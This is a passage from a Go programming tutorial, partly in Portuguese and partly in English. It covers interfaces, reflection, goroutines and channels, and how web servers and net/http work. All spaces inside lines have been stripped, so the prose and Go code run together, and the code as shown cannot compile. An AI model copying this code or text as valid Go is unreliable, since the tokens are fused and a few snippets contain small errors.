//slicedeMenfmt.Println("Let'suseasliceofMenandseewhathappens")x:=make([]Men,3)//Estestrêselementossãodetiposdiferentes,mastodoselesimplementamainterfaceMenx[0],x[1],x[2]=paul,sam,mike
for_,value:=rangex{value.SayHi()}}
Umainterfaceéumconjuntodemétodosabstratos,epodeserimplementadaportiposnãointerface.Nãopode,portanto,implementar-se.
Interfacevazia
Umainterfacevaziaéumainterfacequenãocontémnenhummétodo,portanto,todosostiposimplementamumainterfacevazia.Essefatoémuitoútilquandoqueremosarmazenartodosostiposemalgummomento,eésemelhanteaovoid*emC.
//defineacomointerfacevaziavarainterface{}variint=5s:="Helloworld"//apodearmazenarvalordequalquertipoa=i
a=s
Seumafunçãousaumainterfacevaziacomoseutipodeargumento,elapodeaceitarqualquertipo;Seumafunçãousaainterfacevaziacomoseutipodevalorderetorno,elapoderetornaqualquertipo.
Argumentosdemétodosdeumainterface
Qualquervariávelpodeserusadaemumainterface.Então,comopodemosusaresserecursoparapassarqualquertipodevariávelparaumafunção?
Porexemplo,usamosmuitofmt.Println,masvocêjánotouqueelepodeaceitarqualquertipodeargumento?Olhandoparaocódigoabertodefmt,vemosaseguintedefinição.
typeStringerinterface{String()string}
IssosignificaquequalquertipoqueimplementeainterfaceStringerpodeserpassadaparafmt.Printlncomoumargumento.Vamosprovarisso.
packagemain
import("fmt""strconv")
typeHumanstruct{namestringageintphonestring}
//Humanimplementafmt.Stringerfunc(hHuman)String()string{return"Name:"+h.name+",Age:"+strconv.Itoa(h.age)+"ye
ars,Contact:"+h.phone}
funcmain(){Bob:=Human{"Bob",39,"000-7777-XXX"}fmt.Println("ThisHumanis:",Bob)}
OlhandoparaoexemploanteriordeBox(Caixa),vocêveráqueColor(Cor)implementaainterfaceStringertambém,assimquesomoscapazesdepersonalizaroformatodeimpressão.Senãoimplementarmosessainterface,fmt.Printlnimprimeotipocomseuformatopadrão.
fmt.Println("Thebiggestoneis",boxes.BiggestsColor().String())fmt.Println("Thebiggestoneis",boxes.BiggestsColor())
Atenção:Seotipoimplementaainterfaceerror,fmtchamaráerror(),entãovocênãotemqueimplementarStringernestemomento.
Tipodevariávelemumainterface
Seumavariáveléotipoqueimplementaumainterface,sabemosquequalqueroutrotipoqueimplementaamesmainterfacepodeseratribuídoaessavariável.Aquestãoécomopodemossaberotipoespecíficoarmazenadonainterface.Háduasmaneirasquevoulhemostrar.
DeclaraçãodopadrãoComma-ok(Vírgula-ok)
Gopossuiasintaxevalue,ok:=element.(T).Issoverificaseavariáveléotipoqueesperamos,onde"value"(valor)éovalordavariável,"ok"éumavariáveldetipobooleano,"element"(elemento)éavariáveldainterfaceeTéotipodadeclaração.
Seoelementoéotipoqueesperamos,okseráverdadeiro,efalsocasocontrário.
Vamosusarumexemploparavermaisclaramente.
packagemain
import("fmt""strconv")
typeElementinterface{}typeList[]Element
typePersonstruct{namestringageint}
func(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}
funcmain(){list:=make(List,3)list[0]=1//umint(inteiro)list[1]="Hello"//umastring(cadeiadecaracteres)list[2]=Person{"Dennis",70}
forindex,element:=rangelist{ifvalue,ok:=element.(int);ok{fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)}elseifvalue,ok:=element.(string);ok{fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)}elseifvalue,ok:=element.(Person);ok{fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)}else{fmt.Printf("list[%d]isofadifferenttype\n",index)}}}
Émuitofácilusaressepadrão,massetivermosmuitostiposparatestar,é
melhorusarswitch.
testedecomutação(switchtest)
Vamosusarswitchparareescreveroexemploacima.
packagemain
import("fmt""strconv")
typeElementinterface{}typeList[]Element
typePersonstruct{namestringageint}
func(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}
funcmain(){list:=make(List,3)list[0]=1//umint(inteiro)list[1]="Hello"//umastring(cadeiadecaracteres)list[2]=Person{"Dennis",70}
forindex,element:=rangelist{switchvalue:=element.(type){caseint:fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)casestring:fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)casePerson:fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)default:
fmt.Println("list[%d]isofadifferenttype",index)}}}
Umacoisaquevocêdevelembraréqueelement.(type)nãopodeserusadoforadocorpodoswitch,oquesignificaquenessecasovocêtemqueusaropadrãocomma-ok.
Interfacesincorporadas(embeddedinterfaces)
AcoisamaisbonitaéqueGotemváriassintaxeslógicasincorporadas,comocamposanônimosemestruturas.Nãosupreendentemente,podemosusarinterfacescomocamposanônimostambém,maschamamos-lhesdeEmbeddedinterfaces(interfacesincorporadas).Aqui,seguimosasmesmasregrasquecamposanônimos.Maisespecificamente,seumainterfacetiveroutrainterfaceincorporadanoseuinterior,issoserácomoseelapossuíssetodososmétodosqueainterfaceincorporadatem.
Podemosverqueoarquivofonteemcontainer/heaptemaseguintedefinição:
typeInterfaceinterface{sort.Interface//sort.InterfaceincorporadoPush(xinterface{})//ummétodoPushparaempurrarelementosparaapilhaPop()interface{}//ummétodoPoppararemoverelementosdapilha}
Vemosquesort.Interfaceéumainterfaceincorporada,entãoainterfaceacimatemostrêsmétodoscontidosemsort.Interfaceimplicitamente.
typeInterfaceinterface{//Lenéonúmerodeelementosnacoleção.Len()int//Lessretornaseoelementocomíndiceideveserordenado
//antesdoelementocomoíndicej.Less(i,jint)bool//Swaptrocaoselementoscomíndicesiej.Swap(i,jint)}
Outroexemploéoio.ReadWriternopacoteio.
//io.ReadWritertypeReadWriterinterface{ReaderWriter}
Reflection
ReflectionemGoéusadoparadeterminarinformaçõesemtempodeexecução.Usamosopacotereflect,eesteartigooficialexplicacomoreflectfuncionaemGo.
Hátrêsetapasenvolvidasquandousamosreflect.Primeiro,precisamosconverteruminterfaceparatiposreflect(reflect.Typeoureflect.Value,issodependedasituação).
t:=reflect.TypeOf(i)//recebemeta-dadosnotipoi,eusatpararecebertodososelementosv:=reflect.ValueOf(i)//recebeovaloratualnotipoi,eusavparaalterarseuvalor
Depoisdisso,podemosconverterostiposreflectparaobterosvaloresqueprecisamos.
varxfloat64=3.4v:=reflect.ValueOf(x)fmt.Println("type:",v.Type())
fmt.Println("kindisfloat64:",v.Kind()==reflect.Float64)fmt.Println("value:",v.Float())
Finalmente,sequisermosmudarosvaloresdostiposreflect,precisamostorná-losmodificáveis.Comodiscutidoanteriormente,háumadiferençaentrepassarporvalorepassarporreferência.Ocódigoaseguirnãocompilará.
varxfloat64=3.4v:=reflect.ValueOf(x)v.SetFloat(7.1)
Emvezdisso,precisamosusaroseguintecódigoparaalterarosvaloresdostiposreflect.
varxfloat64=3.4p:=reflect.ValueOf(&x)v:=p.Elem()v.SetFloat(7.1)
Acabamosdediscutirosfundamentosdereflect,noentantovocêdevepraticarmaisparaentendermais.
Links
SumárioSeçãoAnterior:OrientaçãoaObjetosPróximaSeção:Concorrência
ConcurrencyItissaidthatGoistheClanguageofthe21stcentury.Ithinktherearetwo
reasons:first,Goisasimplelanguage;second,concurrencyisahottopicintoday'sworld,andGosupportsthisfeatureatthelanguagelevel.
goroutine
goroutinesandconcurrencyarebuiltintothecoredesignofGo.They'resimilartothreadsbutworkdifferently.Morethanadozengoroutinesmaybeonlyhave5or6underlyingthreads.Goalsogivesyoufullsupporttosharingmemoryinyourgoroutines.Onegoroutineusuallyuses4~5KBofstackmemory.Therefore,it'snothardtorunthousandsofgoroutinesonasinglecomputer.Agoroutineismorelightweight,moreefficientandmoreconvenientthansystemthreads.
goroutinesrunonthethreadmanageratruntimeinGo.Weusethegokeywordtocreateanewgoroutine,whichisafunctionattheunderlyinglevel(main()isagoroutine).
gohello(a,b,c)
Let'sseeanexample.
packagemain
import("fmt""runtime")
funcsay(sstring){fori:=0;i<5;i++{runtime.Gosched()fmt.Println(s)}}
funcmain(){gosay("world")//createanewgoroutine
say("hello")//currentgoroutine}
Output
helloworldhelloworldhelloworldhelloworldhello
Weseethatit'sveryeasytouseconcurrencyinGobyusingthekeywordgo.Intheaboveexample,thesetwogoroutinessharesomememory,butwewouldbetterofffollowingthedesignrecipe:Don'tuseshareddatatocommunicate,usecommunicationtosharedata.
runtime.Gosched()meanslettheCPUexecuteothergoroutines,andcomebackatsomepoint.
Thescheduleronlyusesonethreadtorunallgoroutines,whichmeansitonlyimplementsconcurrency.IfyouwanttousemoreCPUcoresinordertotakeadvantageofparallelprocessing,youhavetocallruntime.GOMAXPROCS(n)tosetthenumberofcoresyouwanttouse.Ifn<1,itchangesnothing.Thisfunctionmayberemovedinthefuture,seemoredetailsaboutparallelprocessingandconcurrencyinthisarticle.
channels
goroutinesruninthesamememoryaddressspace,soyouhavetomaintainsynchronizationwhenyouwanttoaccesssharedmemory.Howdoyoucommunicatebetweendifferentgoroutines?Gousesaverygoodcommunicationmechanismcalledchannel.channelislikeatwo-way
pipelineinUnixshells:usechanneltosendorreceivedata.Theonlydatatypethatcanbeusedinchannelsisthetypechannelandthekeywordchan.Beawarethatyouhavetousemaketocreateanewchannel.
ci:=make(chanint)cs:=make(chanstring)cf:=make(chaninterface{})
channelusestheoperator<-tosendorreceivedata.
ch<-v//sendvtochannelch.v:=<-ch//receivedatafromch,andassigntov
Let'sseemoreexamples.
packagemain
import"fmt"
funcsum(a[]int,cchanint){total:=0for_,v:=rangea{total+=v}c<-total//sendtotaltoc}
funcmain(){a:=[]int{7,2,8,-9,4,0}
c:=make(chanint)gosum(a[:len(a)/2],c)gosum(a[len(a)/2:],c)x,y:=<-c,<-c//receivefromc
fmt.Println(x,y,x+y)}
Sendingandreceivingdatainchannelsblocksbydefault,soit'smucheasiertousesynchronousgoroutines.WhatImeanbyblockisthatagoroutinewillnotcontinuewhenreceivingdatafromanemptychannel,i.e(value:=<-ch),untilothergoroutinessenddatatothischannel.Ontheotherhand,thegoroutinewillnotcontinueuntilthedataitsendstoachannel,i.e(ch<-5),isreceived.
Bufferedchannels
Iintroducednon-bufferedchannelsabove.Goalsohasbufferedchannelsthatcanstoremorethanasingleelement.Forexample,ch:=make(chanbool,4),herewecreateachannelthatcanstore4booleanelements.Sointhischannel,weareabletosend4elementsintoitwithoutblocking,butthegoroutinewillbeblockedwhenyoutrytosendafifthelementandnogoroutinereceivesit.
ch:=make(chantype,n)
n==0!non-bufferblockn>0!buffernon- blockuntilnelementsinthechannel
Youcantrythefollowingcodeonyourcomputerandchangesomevalues.
packagemain
import"fmt"
funcmain(){c:=make(chanint,2)//change2to1willhaveruntimeerror,but3isfinec<-1c<-2fmt.Println(<-c)fmt.Println(<-c)}
RangeandClose
Wecanuserangetooperateonbufferchannelsasinsliceandmap.
packagemain
import("fmt")
funcfibonacci(nint,cchanint){x,y:=1,1fori:=0;i<n;i++{c<-xx,y=y,x+y}close(c)}
funcmain(){c:=make(chanint,10)gofibonacci(cap(c),c)fori:=rangec{fmt.Println(i)}}
fori:=rangecwillnotstopreadingdatafromchanneluntilthechannelisclosed.Weusethekeywordclosetoclosethechannelinaboveexample.It'simpossibletosendorreceivedataonaclosedchannel;youcanusev,ok:=<-chtotestifachannelisclosed.Ifokreturnsfalse,itmeansthethereisnodatainthatchannelanditwasclosed.
Remembertoalwaysclosechannelsinproducersandnotinconsumers,orit'sveryeasytogetintopanicstatus.
Anotherthingyouneedtorememberisthatchannelsarenotlikefiles.Youdon'thavetoclosethemfrequentlyunlessyouaresurethechanneliscompletelyuseless,oryouwanttoexitrangeloops.
Select
Intheaboveexamples,weonlyuseonechannel,buthowcanwedealwithmorethanonechannel?Gohasakeywordcalledselecttolistentomanychannels.
selectisblockingbydefaultanditcontinuestoexecuteonlywhenoneofchannelshasdatatosendorreceive.Ifseveralchannelsarereadytouseatthesametime,selectchooseswhichtoexecuterandomly.
packagemain
import"fmt"
funcfibonacci(c,quitchanint){x,y:=1,1for{select{casec<-x:x,y=y,x+ycase<-quit:fmt.Println("quit")return}}}
funcmain(){c:=make(chanint)quit:=make(chanint)gofunc(){fori:=0;i<10;i++{fmt.Println(<-c)}quit<-0}()fibonacci(c,quit)}
selecthasadefaultcaseaswell,justlikeswitch.Whenallthechannels
arenotreadyforuse,itexecutesthedefaultcase(itdoesn'twaitforthechannelanymore).
select{casei:=<-c://useidefault://executesherewhencisblocked}
Timeout
Sometimesagoroutinebecomesblocked.Howcanweavoidthistopreventthewholeprogramfromblocking?It'ssimple,wecansetatimeoutintheselect.
funcmain(){c:=make(chanint)o:=make(chanbool)gofunc(){for{select{casev:=<-c:println(v)case<-time.After(5*time.Second):println("timeout")o<-truebreak}}}()<-o}
Runtimegoroutine
Thepackageruntimehassomefunctionsfordealingwithgoroutines.
runtime.Goexit()
Exitsthecurrentgoroutine,butdeferedfunctionswillbeexecutedasusual.
runtime.Gosched()
Letstheschedulerexecuteothergoroutinesandcomesbackatsomepoint.
runtime.NumCPU()int
ReturnsthenumberofCPUcores
runtime.NumGoroutine()int
Returnsthenumberofgoroutines
runtime.GOMAXPROCS(nint)int
SetshowmanyCPUcoresyouwanttouse
Links
DirectoryPrevioussection:interfaceNextsection:Summary
2.8ResumoNestecapítulointroduzimosprincipalmenteas25palavras-chaveemGo.Vamosreverquaissãoelaseoqueelasfazem.
breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar
vareconstsãousadasparadefinirvariáveiseconstantes.packageeimportsãoparaousodepacotes.funcéusadaparadefinirfunçõesemétodos.returnéusadapararetornarvaloresemfunçõesoumétodos.deferéusadaparadefinirfunçõesdefer(funçõesdeadiamento).goéusadaparainiciarumanovagoroutine.selectéusadaparaalternarentremúltiploscanaisparacomunicação.interfaceéusadaparadefinirinterfaces.structéusadaparadefinirtipospersonalizados.break,case,continue,for,fallthrough,else,if,switch,gotoedefaultforamintroduzidasnaseção2.3.chanéotipodecanalparacomunicaçãoentregoroutines.typeéusadaparadefinirtipospersonalizados.mapéusadaparadefinirummap(mapa)queésemelhanteatabelashashemoutraslinguagens.rangeéusadaparalerdadosdeslice,mapechannel.
Sevocêentendercomoutilizarestas25palavras-chave,vocêjáaprendeubastantesobreGo.
Links
SumárioSeçãoanterior:ConcorrênciaPróximoCapítulo:Webfoundation
#3Webfoundation
ThereasonyouarereadingthisbookisthatyouwanttolearntobuildwebapplicationsinGo.AsI'vesaidbefore,Goprovidesmanypowerfulpackageslikehttp.Thesepackagescanhelpyoualotwhentryingtobuildwebapplications.I'llteachyoueverythingyouneedtoknowinthefollowingchapters,andwe'lltalkaboutsomeconceptsofthewebandhowtorunwebapplicationsinGointhischapter.
Links
DirectoryPreviouschapter:Chapter2SummaryNextsection:Webworkingprinciples
WebworkingprinciplesEverytimeyouopenyourbrowsers,typesomeURLsandpressenter,youwillseebeautifulwebpagesappearonyourscreen.Butdoyouknowwhatishappeningbehindthesesimpleactions?
Normally,yourbrowserisaclient.AfteryoutypeaURL,ittakesthehostpartoftheURLandsendsittoaDNSserverinordertogettheIPaddressofthehost.ThenitconnectstotheIPaddressandaskstosetupaTCPconnection.ThebrowsersendsHTTPrequeststhroughtheconnection.TheserverhandlesthemandreplieswithHTTPresponsescontainingthecontentthatmakeupthewebpage.Finally,thebrowserrendersthebodyofthewebpageanddisconnectsfromtheserver.
Figure3.1Processesofusersvisitawebsite
Awebserver,alsoknownasanHTTPserver,usestheHTTPprotocoltocommunicatewithclients.Allwebbrowserscanbeconsideredclients.
Wecandividetheweb'sworkingprinciplesintothefollowingsteps:
ClientusesTCP/IPprotocoltoconnecttoserver.ClientsendsHTTPrequestpackagestoserver.ServerreturnsHTTPresponsepackagestoclient.Iftherequestedresourcesincludedynamicscripts,servercallsscriptenginefirst.Clientdisconnectsfromserver,startsrenderingHTML.
ThisisasimpleworkflowofHTTPaffairs-noticethattheserverclosesitsconnectionsafteritsendsdatatotheclients,thenwaitsforthenextrequest.
URLandDNSresolution
WealwaysuseURLstoaccesswebpages,butdoyouknowhowURLswork?
ThefullnameofaURLisUniformResourceLocator.It'sfordescribingresourcesontheinternetanditsbasicformisasfollows.
scheme://host[:port#]/path/.../[?query-string][#anchor]schemeassignunderlyingprotocol(suchasHTTP,HTTPS,FTP)hostIPordomainnameofHTTPserverport#defaultportis80,anditcanbeomittedinthiscase.Ifyouwanttouseotherports,youmustspecifywhichport.Forexample,http://www.cnblogs.com:8080/pathresourcespathquery-stringdataaresenttoserveranchoranchor
DNSisanabbreviationofDomainNameSystem.It'sthenamingsystemforcomputernetworkservices,anditconvertsdomainnamestoactualIPaddresses,justlikeatranslator.
Figure3.2DNSworkingprinciples
Tounderstandmoreaboutitsworkingprinciple,let'sseethedetailedDNSresolutionprocessasfollows.
1. Aftertypingthedomainnamewww.qq.cominthebrowser,theoperatingsystemwillcheckifthereareanymappingrelationshipsinthehosts'filesforthisdomainname.Ifso,thenthedomainnameresolutioniscomplete.
2. Ifnomappingrelationshipsexistinthehosts'files,theoperatingsystemwillcheckifanycacheexistsintheDNS.Ifso,thenthedomainnameresolutioniscomplete.
3. IfnomappingrelationshipsexistinboththehostandDNScache,theoperatingsystemfindsthefirstDNSresolutionserverinyourTCP/IPsettings,whichislikelyyourlocalDNSserver.WhenthelocalDNSserverreceivesthequery,ifthedomainnamethatyouwanttoqueryiscontainedwithinthelocalconfigurationofitsregionalresources,itreturnstheresultstotheclient.ThisDNSresolutionisauthoritative.
4. IfthelocalDNSserverdoesn'tcontainthedomainnamebutamappingrelationshipexistsinthecache,thelocalDNSservergivesbackthisresulttotheclient.ThisDNSresolutionisnotauthoritative.
5. IfthelocalDNSservercannotresolvethisdomainnameeitherbyconfigurationofregionalresourcesorcache,itwillproceedtothenextstep,whichdependsonthelocalDNSserver'ssettings.-IfthelocalDNSserverdoesn'tenableforwarding,itroutestherequesttotherootDNSserver,thenreturnstheIPaddressofatoplevelDNSserverwhichmayknowthedomainname,.cominthiscase.IfthefirsttoplevelDNSserverdoesn'trecognizethedomainname,itagainreroutestherequesttothenexttoplevelDNSserveruntilitreachesonethatrecognizesthedomainname.ThenthetoplevelDNSserverasksthisnextlevelDNSserverfortheIPaddresscorrespondingtowww.qq.com.-IfthelocalDNSserverhasforwardingenabled,itsendstherequesttoanupperlevelDNSserver.IftheupperlevelDNSserveralsodoesn'trecognizethedomainname,thentherequestkeepsgettingreroutedtohigherlevelsuntilitfinallyreachesaDNSserverwhichrecognizesthedomainname.
WhetherornotthelocalDNSserverenablesforwarding,theIPaddressofthedomainnamealwaysreturnstothelocalDNSserver,andthelocalDNSserversendsitbacktotheclient.
Figure3.3DNSresolutionworkflow
Recursivequeryprocesssimplymeansthattheenquirerschangeintheprocess.EnquirersdonotchangeinIterativequeryprocesses.
NowweknowclientsgetIPaddressesintheend,sothebrowsersarecommunicatingwithserversthroughIPaddresses.
HTTPprotocol
TheHTTPprotocolisacorepartofwebservices.It'simportanttoknowwhattheHTTPprotocolisbeforeyouunderstandhowthewebworks.
HTTPistheprotocolthatisusedtofacilitatecommunicationbetweenbrowsersandwebservers.ItisbasedontheTCPprotocolandusuallyusesport80onthesideofthewebserver.Itisaprotocolthatutilizestherequest-responsemodel-clientssendrequestsandserversrespond.AccordingtotheHTTPprotocol,clientsalwayssetupnewconnectionsandsendHTTPrequeststoservers.Serversarenotabletoconnecttoclientsproactively,orestablishcallbackconnections.Theconnectionbetweenaclientandaservercanbeclosedbyeitherside.Forexample,youcancancelyourdownloadrequestandHTTPconnectionandyourbrowserwilldisconnectfromtheserverbeforeyoufinishdownloading.
TheHTTPprotocolisstateless,whichmeanstheserverhasnoideaabouttherelationshipbetweenthetwoconnectionseventhoughtheyarebothfromsameclient.Tosolvethisproblem,webapplicationsusecookiestomaintainthestateofconnections.
BecausetheHTTPprotocolisbasedontheTCPprotocol,allTCPattackswillaffectHTTPcommunicationsinyourserver.ExamplesofsuchattacksareSYNflooding,DoSandDDoSattacks.
HTTPrequestpackage(browserinformation)
Requestpackagesallhavethreeparts:requestline,requestheader,andbody.Thereisoneblanklinebetweenheaderandbody.
GET/domains/example/HTTP/1.1//requestline:requestmethod,URL,protocolanditsversionHostwww.iana.org //domainnameUser-AgentMozilla /5.0(WindowsNT6.1)AppleWebKit/537.4(KHTML,likeGecko)Chrome/22.0.1229.94Safari/537.4//browserinformationAccepttext /html,application/xhtml+xml,application/xml;q=0.9,*/*;q=
0.8//mimethatclientscanacceptAccept-Encodinggzip,deflate,sdch //streamcompressionAccept-CharsetUTF- 8,*;q=0.5//charactersetinclientside//blankline//body,requestresourcearguments(forexample,argumentsinPOST)
Weusefiddlertogetthefollowingrequestinformation.
Figure3.4InformationofaGETrequestcaughtbyfiddler
Figure3.5InformationofaPOSTrequestcaughtbyfiddler
WecanseethatGETdoesnothavearequestbody,unlikePOST,whichdoes.
TherearemanymethodsyoucanusetocommunicatewithserversinHTTP;GET,POST,PUTandDELETEarethe4basicmethodsthatwetypicallyuse.A
URLrepresentsaresourceonanetwork,sothese4methodsdefinethequery,change,addanddeleteoperationsthatcanactontheseresources.GETandPOSTareverycommonlyusedinHTTP.GETcanappendqueryparameterstotheURL,using?toseparatetheURLandparametersand&betweenthearguments,likeEditPosts.aspx?name=test1&id=123456.POSTputsdataintherequestbodybecausetheURLimplementsalengthlimitationviathebrowser.Thus,POSTcansubmitmuchmoredatathanGET.Also,whenwesubmitusernamesandpasswords,wedon'twantthiskindofinformationtoappearintheURL,soweusePOSTtokeeptheminvisible.
HTTPresponsepackage(serverinformation)
Let'sseewhatinformationiscontainedintheresponsepackages.
HTTP/1.1200OK//statuslineServer:nginx/1.0.8//webserversoftwareanditsversionintheservermachineDate:Date:Tue,30Oct201204:14:25GMT//respondedtimeContent-Type:text/html//respondeddatatypeTransfer-Encoding:chunked//itmeansdataweresentinfragmentsConnection:keep-alive//keepconnectionContent-Length:90//lengthofbody//blankline<!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN"...//messagebody
Thefirstlineiscalledthestatusline.ItsuppliestheHTTPversion,statuscodeandstatusmessage.
ThestatuscodeinformstheclientofthestatusoftheHTTPserver'sresponse.InHTTP/1.1,5kindsofstatuscodesweredefined:
-1xxInformational-2xxSuccess-3xxRedirection-4xxClientError-5xxServerError
HTTPisstatelessandConnection:keep-alive
Thetermstatelessdoesn'tmeanthattheserverhasnoabilitytokeepaconnection.Itsimplymeansthattheserverdoesn'trecognizeanyrelationshipsbetweenanytworequests.
InHTTP/1.1,Keep-aliveisusedbydefault.Ifclientshaveadditionalrequests,theywillusethesameconnectionforthem.
NoticethatKeep-alivecannotmaintianoneconnectionforever;theapplicationrunningintheserverdeterminesthelimitwithwhichtokeeptheconnectionalivefor,andinmostcasesyoucanconfigurethislimit.
Requestinstance
Figure3.7Allpackagesforopeningonewebpage
Wecanseetheentirecommunicationprocessbetweenclientandserver
fromtheabovepicture.Youmaynoticethattherearemanyresourcefilesinthelist;thesearecalledstaticfiles,andGohasspecializedprocessingmethodsforthesefiles.
Thisisthemostimportantfunctionofbrowsers:torequestforaURLandretrievedatafromwebservers,thenrendertheHTML.IfitfindssomefilesintheDOMsuchasCSSorJSfiles,browserswillrequesttheseresourcesfromtheserveragainuntilalltheresourcesfinishrenderingonyourscreen.
ReducingHTTPrequesttimesisonewayofimprovingtheloadingspeedofwebpages.ByreducingthenumberofCSSandJSfilesthatneedtobeloaded,bothrequestlatenciesandpressureonyourwebserverscanbereducedatthesametime.
Links
DirectoryPrevioussection:WebfoundationNextsection:Buildasimplewebserver
3.2BuildasimplewebserverWe'vediscussedthatwebapplicationsarebasedontheHTTPprotocol,andGoprovidesfullHTTPsupportinthenet/httppackage.It'sveryeasytosetawebserverupusingthispackage.
Usehttppackagesetupawebserver
packagemain
import("fmt""net/http""strings"
"log")
funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//parsearguments,youhavetocallthisbyyourselffmt.Println(r.Form)//printforminformationinserversidefmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//senddatatoclientside}
funcmain(){http.HandleFunc("/",sayhelloName)//setroutererr:=http.ListenAndServe(":9090",nil)//setlistenportiferr!=nil{log.Fatal("ListenAndServe:",err)}}
Afterweexecutetheabovecode,theserverbeginslisteningtoport9090inlocalhost.
Openyourbrowserandvisithttp://localhost:9090.YoucanseethatHelloastaxieisonyourscreen.
Let'stryanotheraddresswithadditionalarguments:http://localhost:9090/?url_long=111&url_long=222
Nowlet'sseewhathappensonboththeclientandserversides.
Youshouldseethefollowinginformationontheserverside:
Figure3.8Serverprintedinformation
Asyoucansee,weonlyneedtocalltwofunctionsinordertobuildasimplewebserver.
IfyouareworkingwithPHP,you'reprobablyaskingwhetherornotweneedsomethinglikeNginxorApache.Theansweriswedon't,sinceGolistenstotheTCPportbyitself,andthefunctionsayhelloNameisthelogicfunctionjustlikeacontrollerinPHP.
IfyouareworkingwithPythonyoushouldknowtornado,andtheaboveexampleisverysimilartothat.
IfyouareworkingwithRuby,youmaynoticeitislikescript/serverinROR(RubyonRails).
Weusedtwosimplefunctionstosetupasimplewebserverinthissection,andthissimpleserveralreadyhasthecapacityforhighconcurrencyoperations.Wewilltalkabouthowtoutilizethisinthenexttwosections.
Links
DirectoryPrevioussection:WebworkingprinciplesNextsection:HowGoworkswithweb
3.3HowGoworkswithwebWelearnedtousethenet/httppackagetobuildasimplewebserverintheprevioussection,andallthoseworkingprinciplesarethesameasthosewewilltalkaboutinthefirstsectionofthischapter.
Conceptsinwebprinciples
Request:requestdatafromusers,includingPOST,GET,CookieandURL.
Response:responsedatafromservertoclients.
Conn:connectionsbetweenclientsandservers.
Handler:Requesthandlinglogicandresponsegeneration.
httppackageoperatingmechanism
ThefollowingpictureshowstheworkflowofaGowebserver.
Figure3.9httpworkflow
1. Createalisteningsocket,listentoaportandwaitforclients.2. Acceptrequestsfromclients.3. Handlerequests,readHTTPheader.IftherequestusesPOSTmethod,readdatainthemessagebodyandpassthemtohandlers.Finally,socketreturnsresponsedatatoclients.
Onceweknowtheanswerstothethreefollowingquestions,it'seasytoknowhowthewebworksinGo.
Howdowelistentoaport?Howdoweacceptclientrequests?Howdoweallocatehandlers?
IntheprevioussectionwesawthatGousesListenAndServetohandlethesesteps:initializeaserverobject,callnet.Listen("tcp",addr)tosetupaTCPlistenerandlistentoaspecificaddressandport.
Let'stakealookatthehttppackage'ssourcecode.
//Buildversiongo1.1.2.func(srv*Server)Serve(lnet.Listener)error{deferl.Close()vartempDelaytime.Duration//howlongtosleeponacceptfailurefor{rw,e:=l.Accept()ife!=nil{ifne,ok:=e.(net.Error);ok&&ne.Temporary(){iftempDelay==0{tempDelay=5*time.Millisecond}else{tempDelay*=2}ifmax:=1*time.Second;tempDelay>max{tempDelay=max}log.Printf("http:Accepterror:%v;retryingin%v",e,tempDelay)time.Sleep(tempDelay)continue}returne}tempDelay=0c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()}}
Howdoweacceptclientrequestsafterwebeginlisteningtoaport?Inthesourcecode,wecanseethatsrv.Serve(net.Listener)iscalledtohandleclientrequests.Inthebodyofthefunctionthereisafor{}.Itacceptsa
request,createsanewconnectionthenstartsanewgoroutine,passingtherequestdatatothegoc.serve()goroutine.ThisishowGosupportshighconcurrency,andeverygoroutineisindependent.
Howdoweusespecificfunctionstohandlerequests?connparsesrequestc.ReadRequest()atfirst,thengetsthecorrespondinghandler:handler:=sh.srv.HandlerwhichisthesecondargumentwepassedwhenwecalledListenAndServe.Becausewepassednil,Gousesitsdefaulthandlerhandler=DefaultServeMux.SowhatisDefaultServeMuxdoinghere?Well,itstheroutervariablewhichcancallhandlerfunctionsforspecificURLs.Didwesetthis?Yes,wedid.Wedidthisinthefirstlinewhereweusedhttp.HandleFunc("/",sayhelloName).We'reusingthisfunctiontoregistertherouterruleforthe"/"path.WhentheURLis/,theroutercallsthefunctionsayhelloName.DefaultServeMuxcallsServerHTTPtogethandlerfunctionsfordifferentpaths,callingsayhelloNameinthisspecificcase.Finally,theserverwritesdataandrespondstoclients.
Detailedworkflow:
Figure3.10WorkflowofhandlinganHTTPrequest
IthinkyoushouldknowhowGorunswebserversnow.
Links
DirectoryPrevioussection:BuildasimplewebserverNextsection:Getintohttppackage
3.4GetintohttppackageInprevioussections,welearnedabouttheworkflowofthewebandtalkeda
littlebitaboutGo'shttppackage.Inthissection,wearegoingtolearnabouttwocorefunctionsinthehttppackage:ConnandServeMux.
goroutineinConn
UnlikenormalHTTPservers,GousesgoroutinesforeveryjobinitiatedbyConninordertoachievehighconcurrencyandperformance,soeveryjobisindependent.
Gousesthefollowingcodetowaitfornewconnectionsfromclients.
c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()
Asyoucansee,itcreatesanewgoroutineforeveryconnection,andpassesthehandlerthatisabletoreaddatafromtherequesttothegoroutine.
CustomizedServeMux
WeusedGo'sdefaultrouterinprevioussectionswhendiscussingconn.server,withtherouterpassingrequestdatatoaback-endhandler.
Thestructofthedefaultrouter:
typeServeMuxstruct{musync.RWMutex//becauseofconcurrency,wehavetouseamutexheremmap[string]muxEntry//routerrules,everystringmappingtoahandler}
ThestructofmuxEntry:
typemuxEntrystruct{explicitbool//exactmatchornothHandler}
TheinterfaceofHandler:
typeHandlerinterface{ServeHTTP(ResponseWriter,*Request)//routingimplementer}
